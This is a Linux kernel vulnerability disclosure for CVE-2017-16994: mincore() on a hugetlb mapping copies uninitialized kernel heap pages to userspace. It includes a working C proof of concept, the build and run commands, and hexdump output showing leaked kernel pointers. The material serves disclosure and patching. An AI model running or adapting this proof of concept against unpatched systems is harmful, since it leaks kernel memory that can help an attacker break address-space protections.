Linux: mincore() discloses uninitialized kernel heap pages(CVE-2017-16994)

I found the following bug with an AFL-based fuzzer: When `__walk_page_range()` is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace. This bug can be reproduced with the following testcase: ``` $ cat mincore_test.c #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> unsigned char mcbuf[0x1000]; int main(void) { if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) err(1, "mmap"); for (int i=0; i<10000; i++) { if (mincore((void*)0x86000000, 0x1000000, mcbuf)) perror("mincore"); write(1, mcbuf, 0x1000); } } $ gcc -o mincore_test mincore_test.c -Wall $ ./mincore_test | hexdump -C | head 00000000 00 00 00 00 00 00 00 00 00 00 00 00 fe 01 00 00 |................| 00000010 80 49 3d 20 c6 e9 ff ff c0 49 3d 20 c6 e9 ff ff |.I= .....I= ....| 00000020 00 08 3c 20 c6 e9 ff ff 40 08 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000030 80 08 3c 20 c6 e9 ff ff c0 08 3c 20 c6 e9 ff ff |..< ......< ....| 00000040 00 09 3c 20 c6 e9 ff ff 40 09 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000050 80 09 3c 20 c6 e9 ff ff c0 09 3c 20 c6 e9 ff ff |..< ......< ....| 00000060 00 06 3c 20 c6 e9 ff ff 40 06 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000070 80 06 3c 20 c6 e9 ff ff c0 06 3c 20 c6 e9 ff ff |..< ......< ....| 00000080 00 07 3c 20 c6 e9 ff ff 40 07 3c 20 c6 e9 ff ff |..< ....@.< ....| 00000090 80 07 3c 20 c6 e9 ff ff 80 78 84 0b c6 e9 ff ff |..< .....x......| ```